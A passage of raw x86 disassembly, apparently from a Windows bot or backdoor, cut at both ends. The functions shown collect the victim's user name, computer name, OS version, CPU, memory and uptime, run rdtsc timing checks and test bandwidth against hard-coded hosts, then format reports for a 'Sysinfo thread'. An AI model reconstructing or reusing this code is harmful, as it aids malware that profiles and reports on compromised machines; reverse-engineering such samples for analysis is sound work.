[ebp+arg_0] call sub_416B5E ; sprintf add esp, 18h push 1 pop eax locret_40813A: ; CODE XREF: sub_40806A+27j ; sub_40806A+4Fj leave retn sub_40806A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40813C proc near ; CODE XREF: sub_407928+54p ; sub_407928+9Dp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_0], 0 jz short loc_408150 mov eax, [ebp+arg_8] mov ecx, [ebp+arg_0] mov [eax], ecx loc_408150: ; CODE XREF: sub_40813C+Aj mov eax, [ebp+arg_8] mov eax, [eax] mov [ebp+var_8], eax jmp short loc_408161 ; --------------------------------------------------------------------------- loc_40815A: ; CODE XREF: sub_40813C:loc_4081A0j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_408161: ; CODE XREF: sub_40813C+1Cj mov eax, [ebp+var_8] movsx eax, byte ptr [eax] test eax, eax jz short loc_4081A2 mov eax, [ebp+arg_4] mov [ebp+var_4], eax loc_408171: ; CODE XREF: sub_40813C+56j mov eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short loc_408194 mov eax, [ebp+var_4] movsx eax, byte ptr [eax] mov ecx, [ebp+var_8] movsx ecx, byte ptr [ecx] cmp eax, ecx jz short loc_408194 mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax jmp short loc_408171 ; --------------------------------------------------------------------------- loc_408194: ; CODE XREF: sub_40813C+3Dj ; sub_40813C+4Dj mov eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_4081A0 jmp short loc_4081A2 ; --------------------------------------------------------------------------- loc_4081A0: ; CODE XREF: sub_40813C+60j jmp short loc_40815A ; --------------------------------------------------------------------------- loc_4081A2: ; CODE XREF: sub_40813C+2Dj ; sub_40813C+62j mov eax, [ebp+var_8] mov [ebp+var_C], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax loc_4081AE: ; CODE XREF: sub_40813C:loc_4081F5j mov eax, [ebp+var_C] movsx eax, byte ptr [eax] test eax, eax jz short loc_4081F7 mov eax, [ebp+var_C] movsx eax, byte ptr [eax] mov ecx, [ebp+var_4] movsx ecx, byte ptr [ecx] cmp eax, ecx jnz short loc_4081D7 mov eax, [ebp+var_C] and byte ptr [eax], 0 mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax jmp short loc_4081F7 ; --------------------------------------------------------------------------- loc_4081D7: ; CODE XREF: sub_40813C+8Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_4081F5 mov eax, [ebp+arg_4] mov [ebp+var_4], eax mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax loc_4081F5: ; CODE XREF: sub_40813C+AAj jmp short loc_4081AE ; --------------------------------------------------------------------------- loc_4081F7: ; CODE XREF: sub_40813C+7Aj ; sub_40813C+99j mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] mov [eax], ecx mov eax, [ebp+var_8] sub eax, [ebp+var_C] neg eax sbb eax, eax and eax, [ebp+var_8] leave retn sub_40813C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40820E proc near ; CODE XREF: sub_40821B:loc_408221p ; sub_40821B+1Cp push ebp mov ebp, esp push ebx push esi push edi rdtsc pop edi pop esi pop ebx pop ebp retn sub_40820E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40821B proc near ; CODE XREF: sub_4083AD+3A4p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 20h loc_408221: ; CODE XREF: sub_40821B+4Aj ; sub_40821B+55j call sub_40820E mov [ebp+var_20], eax mov [ebp+var_1C], edx push 3E8h call ds:dword_41709C ; Sleep call sub_40820E sub eax, [ebp+var_20] sbb edx, [ebp+var_1C] push 0 push 186A0h push edx push eax call sub_416C90 push 0 push 0Ah push edx push eax call sub_416C90 mov [ebp+var_8], eax mov [ebp+var_4], edx cmp [ebp+var_4], 0 ja short loc_408221 jb short loc_408272 cmp [ebp+var_8], 0F4240h ja short loc_408221 loc_408272: ; CODE XREF: sub_40821B+4Cj push 0 push 64h push [ebp+var_4] push [ebp+var_8] call sub_416C10 mov [ebp+var_18], eax mov [ebp+var_14], edx mov [ebp+var_10], 64h and [ebp+var_C], 0 cmp [ebp+var_14], 0 ja short loc_4082AB jb short loc_4082A0 cmp [ebp+var_18], 50h jnb short loc_4082AB loc_4082A0: ; CODE XREF: sub_40821B+7Dj mov [ebp+var_10], 4Bh and [ebp+var_C], 0 loc_4082AB: ; CODE XREF: sub_40821B+7Bj ; sub_40821B+83j cmp [ebp+var_14], 0 ja short loc_4082C4 jb short loc_4082B9 cmp [ebp+var_18], 47h jnb short loc_4082C4 loc_4082B9: ; CODE XREF: sub_40821B+96j mov [ebp+var_10], 42h and [ebp+var_C], 0 loc_4082C4: ; CODE XREF: sub_40821B+94j ; sub_40821B+9Cj cmp [ebp+var_14], 0 ja short loc_4082DD jb short loc_4082D2 cmp [ebp+var_18], 37h jnb short loc_4082DD loc_4082D2: ; CODE XREF: sub_40821B+AFj mov [ebp+var_10], 32h and [ebp+var_C], 0 loc_4082DD: ; CODE XREF: sub_40821B+ADj ; sub_40821B+B5j cmp [ebp+var_14], 0 ja short loc_4082F6 jb short loc_4082EB cmp [ebp+var_18], 26h jnb short loc_4082F6 loc_4082EB: ; CODE XREF: sub_40821B+C8j mov [ebp+var_10], 21h and [ebp+var_C], 0 loc_4082F6: ; CODE XREF: sub_40821B+C6j ; sub_40821B+CEj cmp [ebp+var_14], 0 ja short loc_40830F jb short loc_408304 cmp [ebp+var_18], 1Eh jnb short loc_40830F loc_408304: ; CODE XREF: sub_40821B+E1j mov [ebp+var_10], 19h and [ebp+var_C], 0 loc_40830F: ; CODE XREF: sub_40821B+DFj ; sub_40821B+E7j cmp [ebp+var_14], 0 ja short loc_408325 jb short loc_40831D cmp [ebp+var_18], 0Ah jnb short loc_408325 loc_40831D: ; CODE XREF: sub_40821B+FAj and [ebp+var_10], 0 and [ebp+var_C], 0 loc_408325: ; CODE XREF: sub_40821B+F8j ; sub_40821B+100j mov eax, [ebp+var_8] sub eax, [ebp+var_18] mov ecx, [ebp+var_4] sbb ecx, [ebp+var_14] add eax, [ebp+var_10] adc ecx, [ebp+var_C] mov [ebp+var_8], eax mov [ebp+var_4], ecx mov eax, [ebp+var_8] leave retn sub_40821B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408342 proc near ; CODE XREF: sub_40D043+156p ; sub_40D871+30Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1Fh push [ebp+arg_0] push 7 push 400h call ds:dword_417034 ; GetLocaleInfoA neg eax sbb eax, eax neg eax mov [ebp+var_4], eax mov eax, [ebp+arg_0] and byte ptr [eax+3], 0 cmp [ebp+var_4], 0 jz short loc_408381 push offset off_419100 push [ebp+arg_0] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_4083A8 loc_408381: ; CODE XREF: sub_408342+2Aj push 1Fh push [ebp+arg_0] push 7 push 800h call ds:dword_417034 ; GetLocaleInfoA neg eax sbb eax, eax neg eax mov [ebp+var_4], eax mov eax, [ebp+arg_0] and byte ptr [eax+3], 0 mov eax, [ebp+var_4] jmp short locret_4083AB ; --------------------------------------------------------------------------- loc_4083A8: ; CODE XREF: sub_408342+3Dj push 1 pop eax locret_4083AB: ; CODE XREF: sub_408342+64j leave retn sub_408342 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4083AD proc near ; DATA XREF: sub_4087C4+35o var_750 = dword ptr -750h var_74C = dword ptr -74Ch var_748 = dword ptr -748h var_744 = dword ptr -744h var_740 = dword ptr -740h var_73C = dword ptr -73Ch var_738 = dword ptr -738h var_734 = byte ptr -734h var_72C = dword ptr -72Ch var_728 = dword ptr -728h var_714 = dword ptr -714h var_710 = dword ptr -710h var_70C = dword ptr -70Ch var_708 = byte ptr -708h var_6F0 = dword ptr -6F0h var_6EC = dword ptr -6ECh var_6E8 = dword ptr -6E8h var_6E4 = dword ptr -6E4h var_6E0 = byte ptr -6E0h var_6D0 = dword ptr -6D0h var_6CC = dword ptr -6CCh var_6C8 = byte ptr -6C8h var_524 = dword ptr -524h var_520 = dword ptr -520h var_51C = dword ptr -51Ch var_518 = dword ptr -518h var_514 = dword ptr -514h var_510 = dword ptr -510h var_50C = byte ptr -50Ch var_48C = dword ptr -48Ch var_488 = dword ptr -488h var_484 = dword ptr -484h var_480 = dword ptr -480h var_47C = byte ptr -47Ch var_409 = byte ptr -409h var_408 = byte ptr -408h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 750h push ebx push esi push edi push 1A7h push [ebp+arg_0] lea eax, [ebp+var_6CC] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_734] push eax call ds:dword_4170C4 ; GlobalMemoryStatus mov eax, [ebp+var_72C] add eax, 100000h shr eax, 14h mov [ebp+var_6F0], eax mov eax, [ebp+var_728] add eax, 100000h shr eax, 14h mov [ebp+var_738], eax call sub_4092A4 mov [ebp+var_714], eax mov eax, [ebp+var_714] xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_6E8], eax mov eax, [ebp+var_714] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov [ebp+var_524], eax mov eax, [ebp+var_714] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov eax, edx xor edx, edx push 3Ch pop ecx div ecx mov [ebp+var_6E4], eax mov [ebp+var_8], 15h mov [ebp+var_6D0], 10h lea eax, [ebp+var_8] push eax lea eax, [ebp+var_708] push eax call ds:dword_417018 ; GetUserNameA lea eax, [ebp+var_6D0] push eax lea eax, [ebp+var_6E0] push eax call ds:dword_417078 ; GetComputerNameA mov [ebp+var_520], 94h push 24h pop ecx xor eax, eax lea edi, [ebp+var_51C] rep stosd lea eax, [ebp+var_520] push eax call ds:dword_417030 ; GetVersionExA mov [ebp+var_48C], offset a? ; "?" mov [ebp+var_710], offset aNoSp ; "no SP" cmp [ebp+var_51C], 4 jnz short loc_408522 cmp [ebp+var_518], 0 jnz short loc_408522 cmp [ebp+var_510], 1 jnz short loc_40850A mov [ebp+var_48C], offset a95 ; "95" loc_40850A: ; CODE XREF: sub_4083AD+151j cmp [ebp+var_510], 2 jnz short loc_40851D mov [ebp+var_48C], offset aNt ; "NT" loc_40851D: ; CODE XREF: sub_4083AD+164j jmp loc_4085B6 ; --------------------------------------------------------------------------- loc_408522: ; CODE XREF: sub_4083AD+13Fj ; sub_4083AD+148j cmp [ebp+var_51C], 4 jnz short loc_408540 cmp [ebp+var_518], 0Ah jnz short loc_408540 mov [ebp+var_48C], offset a98 ; "98" jmp short loc_4085B6 ; --------------------------------------------------------------------------- loc_408540: ; CODE XREF: sub_4083AD+17Cj ; sub_4083AD+185j cmp [ebp+var_51C], 4 jnz short loc_40855E cmp [ebp+var_518], 5Ah jnz short loc_40855E mov [ebp+var_48C], offset aMe ; "ME" jmp short loc_4085B6 ; --------------------------------------------------------------------------- loc_40855E: ; CODE XREF: sub_4083AD+19Aj ; sub_4083AD+1A3j cmp [ebp+var_51C], 5 jnz short loc_40857C cmp [ebp+var_518], 0 jnz short loc_40857C mov [ebp+var_48C], offset a2000 ; "2000" jmp short loc_4085B6 ; --------------------------------------------------------------------------- loc_40857C: ; CODE XREF: sub_4083AD+1B8j ; sub_4083AD+1C1j cmp [ebp+var_51C], 5 jnz short loc_40859A cmp [ebp+var_518], 1 jnz short loc_40859A mov [ebp+var_48C], offset aXp ; "XP" jmp short loc_4085B6 ; --------------------------------------------------------------------------- loc_40859A: ; CODE XREF: sub_4083AD+1D6j ; sub_4083AD+1DFj cmp [ebp+var_51C], 5 jnz short loc_4085B6 cmp [ebp+var_518], 2 jnz short loc_4085B6 mov [ebp+var_48C], offset a2003 ; "2003" loc_4085B6: ; CODE XREF: sub_4083AD:loc_40851Dj ; sub_4083AD+191j ... cmp [ebp+var_510], 2 jnz short loc_4085D6 movsx eax, [ebp+var_50C] test eax, eax jz short loc_4085D6 lea eax, [ebp+var_50C] mov [ebp+var_710], eax loc_4085D6: ; CODE XREF: sub_4083AD+210j ; sub_4083AD+21Bj call sub_40435B test eax, eax jz short loc_4085EB mov [ebp+var_744], offset aYes ; "Yes" jmp short loc_4085F5 ; --------------------------------------------------------------------------- loc_4085EB: ; CODE XREF: sub_4083AD+230j mov [ebp+var_744], offset aNo ; "No" loc_4085F5: ; CODE XREF: sub_4083AD+23Cj mov eax, [ebp+var_744] mov [ebp+var_4], eax and [ebp+var_47C], 0 and [ebp+var_409], 0 xor eax, eax cpuid mov [ebp+var_488], ebx mov [ebp+var_484], edx mov [ebp+var_480], ecx lea eax, [ebp+var_488] mov [ebp+var_6EC], eax and [ebp+var_70C], 0 lea eax, [ebp+var_70C] push eax push 20019h push 0 push offset aHardwareDescri ; "HARDWARE\\DESCRIPTION\\System\\CentralProc"... push 80000002h call ds:dword_417008 ; RegOpenKeyExA test eax, eax jnz short loc_4086B3 and [ebp+var_73C], 0 mov [ebp+var_740], 80h lea eax, [ebp+var_740] push eax lea eax, [ebp+var_488] push eax lea eax, [ebp+var_73C] push eax push 0 push offset aProcessornames ; "ProcessorNameString" push [ebp+var_70C] call ds:dword_41700C ; RegQueryValueExA test eax, eax jnz short loc_4086A7 push 1 push 1 lea eax, [ebp+var_488] push eax call sub_407C2C add esp, 0Ch loc_4086A7: ; CODE XREF: sub_4083AD+2E5j push [ebp+var_70C] call ds:dword_417028 ; RegCloseKey loc_4086B3: ; CODE XREF: sub_4083AD+2A8j cmp [ebp+var_6E4], 1 jnz short loc_4086C8 mov [ebp+var_748], offset byte_41DF00 jmp short loc_4086D2 ; --------------------------------------------------------------------------- loc_4086C8: ; CODE XREF: sub_4083AD+30Dj mov [ebp+var_748], offset dword_4191F4 loc_4086D2: ; CODE XREF: sub_4083AD+319j cmp [ebp+var_524], 1 jnz short loc_4086E7 mov [ebp+var_74C], offset byte_41DF00 jmp short loc_4086F1 ; --------------------------------------------------------------------------- loc_4086E7: ; CODE XREF: sub_4083AD+32Cj mov [ebp+var_74C], offset dword_4191F4 loc_4086F1: ; CODE XREF: sub_4083AD+338j cmp [ebp+var_6E8], 1 jnz short loc_408706 mov [ebp+var_750], offset byte_41DF00 jmp short loc_408710 ; --------------------------------------------------------------------------- loc_408706: ; CODE XREF: sub_4083AD+34Bj mov [ebp+var_750], offset dword_4191F4 loc_408710: ; CODE XREF: sub_4083AD+357j lea eax, [ebp+var_708] push eax lea eax, [ebp+var_6E0] push eax push [ebp+var_748] push [ebp+var_6E4] push [ebp+var_74C] push [ebp+var_524] push [ebp+var_750] push [ebp+var_6E8] push [ebp+var_4] push [ebp+var_6F0] push [ebp+var_738] call sub_40821B push eax push [ebp+var_6EC] push [ebp+var_514] push [ebp+var_518] push [ebp+var_51C] push [ebp+var_710] push [ebp+var_48C] push offset dword_419104 push 400h lea eax, [ebp+var_408] push eax call sub_416BAE ; _snprintf add esp, 54h lea eax, [ebp+var_408] push eax push offset dword_418B64 lea eax, [ebp+var_6C8] push eax call sub_40D53F add esp, 0Ch push [ebp+var_6CC] call sub_409763 pop ecx xor eax, eax pop edi pop esi pop ebx leave retn 4 sub_4083AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4087C4 proc near ; CODE XREF: sub_40A9CF+1B9Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4087DE jmp short locret_408806 ; --------------------------------------------------------------------------- loc_4087DE: ; CODE XREF: sub_4087C4+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aSysinfoThread ; "Sysinfo thread" push 0 push [ebp+var_4] push offset sub_4083AD call sub_4095A4 add esp, 10h locret_408806: ; CODE XREF: sub_4087C4+18j leave retn sub_4087C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408808 proc near ; CODE XREF: sub_408887+Bp ; sub_408887+19p ... var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2Ch push [ebp+arg_0] lea eax, [ebp+var_28] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_28] push eax call sub_4105FB pop ecx call sub_416B64 ; clock mov [ebp+var_4], eax push 7D0h push 0 push offset a80 ; "80" lea eax, [ebp+var_28] push eax call sub_4050EA add esp, 10h mov [ebp+var_8], eax push [ebp+var_8] call sub_4053B1 pop ecx cmp [ebp+var_8], 0 jnz short loc_40885F mov eax, 3E8h jmp short locret_408885 ; --------------------------------------------------------------------------- loc_40885F: ; CODE XREF: sub_408808+4Ej call sub_416B64 ; clock sub eax, [ebp+var_4] cmp eax, 3E8h jnb short loc_40887B call sub_416B64 ; clock sub eax, [ebp+var_4] mov [ebp+var_2C], eax jmp short loc_408882 ; --------------------------------------------------------------------------- loc_40887B: ; CODE XREF: sub_408808+64j mov [ebp+var_2C], 3E8h loc_408882: ; CODE XREF: sub_408808+71j mov eax, [ebp+var_2C] locret_408885: ; CODE XREF: sub_408808+55j leave retn sub_408808 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408887 proc near ; CODE XREF: sub_408B30+1C2p ; sub_40CA29+1E9p ... var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h push offset dword_418F60 call sub_408808 pop ecx mov [ebp+var_4], eax push offset dword_418F6C call sub_408808 pop ecx mov [ebp+var_8], eax push offset dword_418F84 call sub_408808 pop ecx mov [ebp+var_C], eax push offset dword_418F90 call sub_408808 pop ecx mov [ebp+var_10], eax push offset dword_418FA0 call sub_408808 pop ecx mov [ebp+var_14], eax push offset dword_418FB0 call sub_408808 pop ecx mov [ebp+var_18], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] add eax, [ebp+var_C] add eax, [ebp+var_10] add eax, [ebp+var_14] add eax, [ebp+var_18] xor edx, edx push 6 pop ecx div ecx leave retn sub_408887 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4088FC proc near ; CODE XREF: sub_408B30:loc_408D33p var_438 = qword ptr -438h var_430 = dword ptr -430h var_42C = qword ptr -42Ch var_424 = dword ptr -424h var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = byte ptr -418h var_318 = dword ptr -318h var_314 = dword ptr -314h var_310 = dword ptr -310h var_30C = dword ptr -30Ch var_308 = byte ptr -308h var_208 = byte ptr -208h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 438h and [ebp+var_8], 0 jmp short loc_408912 ; --------------------------------------------------------------------------- loc_40890B: ; CODE XREF: sub_4088FC+23j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_408912: ; CODE XREF: sub_4088FC+Dj mov eax, [ebp+var_8] cmp ds:off_418FC4[eax*4], 0 jz short loc_408921 jmp short loc_40890B ; --------------------------------------------------------------------------- loc_408921: ; CODE XREF: sub_4088FC+21j mov eax, [ebp+var_8] shr eax, 1 mov [ebp+var_8], eax and [ebp+var_4], 0 jmp short loc_408936 ; --------------------------------------------------------------------------- loc_40892F: ; CODE XREF: sub_4088FC+D6j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_408936: ; CODE XREF: sub_4088FC+31j cmp [ebp+var_4], 3 jnb loc_408B2C mov eax, [ebp+var_8] dec eax push eax push 0 call sub_4103F5 pop ecx pop ecx mov [ebp+var_318], eax mov eax, [ebp+var_318] shl eax, 1 push ds:off_418FC4[eax*4] lea eax, [ebp+var_418] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_418] push eax call sub_4105FB pop ecx mov eax, [ebp+var_318] shl eax, 1 push ds:off_418FC8[eax*4] lea eax, [ebp+var_308] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_308] push eax call sub_4105FB pop ecx push 2710h push 0 push offset a80 ; "80" lea eax, [ebp+var_418] push eax call sub_4050EA add esp, 10h mov [ebp+var_310], eax cmp [ebp+var_310], 0 jnz short loc_4089D7 jmp loc_40892F ; --------------------------------------------------------------------------- loc_4089D7: ; CODE XREF: sub_4088FC+D4j lea eax, [ebp+var_418] push eax lea eax, [ebp+var_308] push eax push offset aGetSHttp1_0Hos ; "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n" push 200h lea eax, [ebp+var_208] push eax call sub_416BAE ; _snprintf add esp, 14h lea eax, [ebp+var_208] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_208] push eax push [ebp+var_310] call sub_4053BF add esp, 0Ch and [ebp+var_314], 0 call sub_416B64 ; clock mov [ebp+var_41C], eax and [ebp+var_30C], 0 loc_408A3A: ; CODE XREF: sub_4088FC+1AFj ; sub_4088FC+22Bj push 1388h push 200h lea eax, [ebp+var_208] push eax push [ebp+var_310] call sub_405443 add esp, 10h mov [ebp+var_420], eax cmp [ebp+var_420], 0 jz short loc_408A93 cmp [ebp+var_420], 0FFFFFFFFh jz short loc_408A93 call sub_416B64 ; clock sub eax, [ebp+var_41C] cmp eax, 1388h jnb short loc_408A93 cmp [ebp+var_30C], 100000h jb loc_408B15 loc_408A93: ; CODE XREF: sub_4088FC+16Aj ; sub_4088FC+173j ... cmp [ebp+var_30C], 2000h jnb short loc_408AAD push [ebp+var_310] call sub_40538D pop ecx jmp short loc_408A3A ; --------------------------------------------------------------------------- loc_408AAD: ; CODE XREF: sub_4088FC+1A1j mov eax, [ebp+var_30C] mov dword ptr [ebp+var_42C], eax and dword ptr [ebp+var_42C+4], 0 fild [ebp+var_42C] fstp [ebp+var_430] call sub_416B64 ; clock sub eax, [ebp+var_41C] mov dword ptr [ebp+var_438], eax and dword ptr [ebp+var_438+4], 0 fild [ebp+var_438] fdiv ds:flt_417270 fdivr [ebp+var_430] call sub_416CF8 ; _ftol mov [ebp+var_424], eax push [ebp+var_310] call sub_40538D pop ecx mov eax, [ebp+var_424] jmp short locret_408B2E ; --------------------------------------------------------------------------- loc_408B15: ; CODE XREF: sub_4088FC+191j mov eax, [ebp+var_30C] add eax, [ebp+var_420] mov [ebp+var_30C], eax jmp loc_408A3A ; --------------------------------------------------------------------------- loc_408B2C: ; CODE XREF: sub_4088FC+3Ej xor eax, eax locret_408B2E: ; CODE XREF: sub_4088FC+217j leave retn sub_4088FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408B30 proc near ; DATA XREF: sub_408E4A+35o var_A9C = qword ptr -0A9Ch var_A7C = qword ptr -0A7Ch var_A74 = dword ptr -0A74h var_A70 = dword ptr -0A70h var_A6C = dword ptr -0A6Ch var_A68 = dword ptr -0A68h var_A64 = dword ptr -0A64h var_A60 = dword ptr -0A60h var_A5C = byte ptr -0A5Ch var_8B8 = dword ptr -8B8h var_8B4 = dword ptr -8B4h var_8B0 = byte ptr -8B0h var_830 = dword ptr -830h var_82C = dword ptr -82Ch var_828 = dword ptr -828h var_824 = dword ptr -824h var_820 = dword ptr -820h var_81C = dword ptr -81Ch var_818 = dword ptr -818h var_814 = byte ptr -814h var_414 = byte ptr -414h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A7Ch push 1A7h push [ebp+arg_0] lea eax, [ebp+var_A60] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push offset dword_41F018 lea eax, [ebp+var_414] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_824] push eax push 0 push 0 push offset dword_41F018 call ds:dword_41DF54 ; getaddrinfo test eax, eax jnz short loc_408BBC push 1 push 0 push 0 push 401h lea eax, [ebp+var_414] push eax mov eax, [ebp+var_824] push dword ptr [eax+10h] mov eax, [ebp+var_824] push dword ptr [eax+18h] call ds:dword_41DF58 ; getnameinfo push [ebp+var_824] call ds:dword_41DF5C ; freeaddrinfo loc_408BBC: ; CODE XREF: sub_408B30+54j call sub_409318 mov [ebp+var_8B8], eax mov eax, [ebp+var_8B8] xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_830], eax mov eax, [ebp+var_8B8] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov [ebp+var_820], eax mov eax, [ebp+var_8B8] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov eax, edx xor edx, edx push 3Ch pop ecx div ecx mov [ebp+var_82C], eax push offset aUnknown_0 ; "Unknown" lea eax, [ebp+var_8B0] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push offset aUnknown_0 ; "Unknown" lea eax, [ebp+var_10] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx cmp ds:dword_41DF4C, 0 jz short loc_408C9F push 0 push 80h lea eax, [ebp+var_8B0] push eax lea eax, [ebp+var_818] push eax call ds:dword_41DF4C ; InternetGetConnectedStateEx test eax, eax jz short loc_408C9F mov eax, [ebp+var_818] and eax, 1 test eax, eax jz short loc_408C8F push offset aModem ; "Modem" lea eax, [ebp+var_10] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_408C9F ; --------------------------------------------------------------------------- loc_408C8F: ; CODE XREF: sub_408B30+14Bj push offset aLan ; "LAN" lea eax, [ebp+var_10] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_408C9F: ; CODE XREF: sub_408B30+11Fj ; sub_408B30+13Ej ... call sub_4043E9 test eax, eax jz short loc_408CB4 mov [ebp+var_A64], offset aYes ; "Yes" jmp short loc_408CBE ; --------------------------------------------------------------------------- loc_408CB4: ; CODE XREF: sub_408B30+176j mov [ebp+var_A64], offset aNo ; "No" loc_408CBE: ; CODE XREF: sub_408B30+182j mov eax, [ebp+var_A64] mov [ebp+var_8], eax call sub_404279 test eax, eax jz short loc_408CDC mov [ebp+var_A68], offset aYes ; "Yes" jmp short loc_408CE6 ; --------------------------------------------------------------------------- loc_408CDC: ; CODE XREF: sub_408B30+19Ej mov [ebp+var_A68], offset aNo ; "No" loc_408CE6: ; CODE XREF: sub_408B30+1AAj mov eax, [ebp+var_A68] mov [ebp+var_8B4], eax call sub_408887 mov [ebp+var_828], eax mov [ebp+var_81C], offset aBad ; "Bad" cmp [ebp+var_828], 2EEh jnb short loc_408D1D mov [ebp+var_81C], offset aAvarage ; "Avarage" loc_408D1D: ; CODE XREF: sub_408B30+1E1j cmp [ebp+var_828], 1F4h jnb short loc_408D33 mov [ebp+var_81C], offset aGood ; "Good" loc_408D33: ; CODE XREF: sub_408B30+1F7j call sub_4088FC mov [ebp+var_4], eax cmp [ebp+var_82C], 1 jnz short loc_408D50 mov [ebp+var_A6C], offset byte_41DF00 jmp short loc_408D5A ; --------------------------------------------------------------------------- loc_408D50: ; CODE XREF: sub_408B30+212j mov [ebp+var_A6C], offset dword_4191F4 loc_408D5A: ; CODE XREF: sub_408B30+21Ej cmp [ebp+var_820], 1 jnz short loc_408D6F mov [ebp+var_A70], offset byte_41DF00 jmp short loc_408D79 ; --------------------------------------------------------------------------- loc_408D6F: ; CODE XREF: sub_408B30+231j mov [ebp+var_A70], offset dword_4191F4 loc_408D79: ; CODE XREF: sub_408B30+23Dj cmp [ebp+var_830], 1 jnz short loc_408D8E mov [ebp+var_A74], offset byte_41DF00 jmp short loc_408D98 ; --------------------------------------------------------------------------- loc_408D8E: ; CODE XREF: sub_408B30+250j mov [ebp+var_A74], offset dword_4191F4 loc_408D98: ; CODE XREF: sub_408B30+25Cj push [ebp+var_A6C] push [ebp+var_82C] push [ebp+var_A70] push [ebp+var_820] push [ebp+var_A74] push [ebp+var_830] mov eax, [ebp+var_4] mov dword ptr [ebp+var_A7C], eax and dword ptr [ebp+var_A7C+4], 0 fild [ebp+var_A7C] fdiv ds:flt_417274 push ecx push ecx fstp [esp+0A9Ch+var_A9C] push [ebp+var_828] push [ebp+var_81C] push [ebp+var_8B4] push [ebp+var_8] lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8B0] push eax lea eax, [ebp+var_414] push eax push offset dword_419284 push 400h lea eax, [ebp+var_814] push eax call sub_416BAE ; _snprintf add esp, 48h lea eax, [ebp+var_814] push eax push offset dword_418B64 lea eax, [ebp+var_A5C] push eax call sub_40D53F add esp, 0Ch push [ebp+var_A60] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_408B30 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408E4A proc near ; CODE XREF: sub_40A9CF+1BD8p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_408E64 jmp short 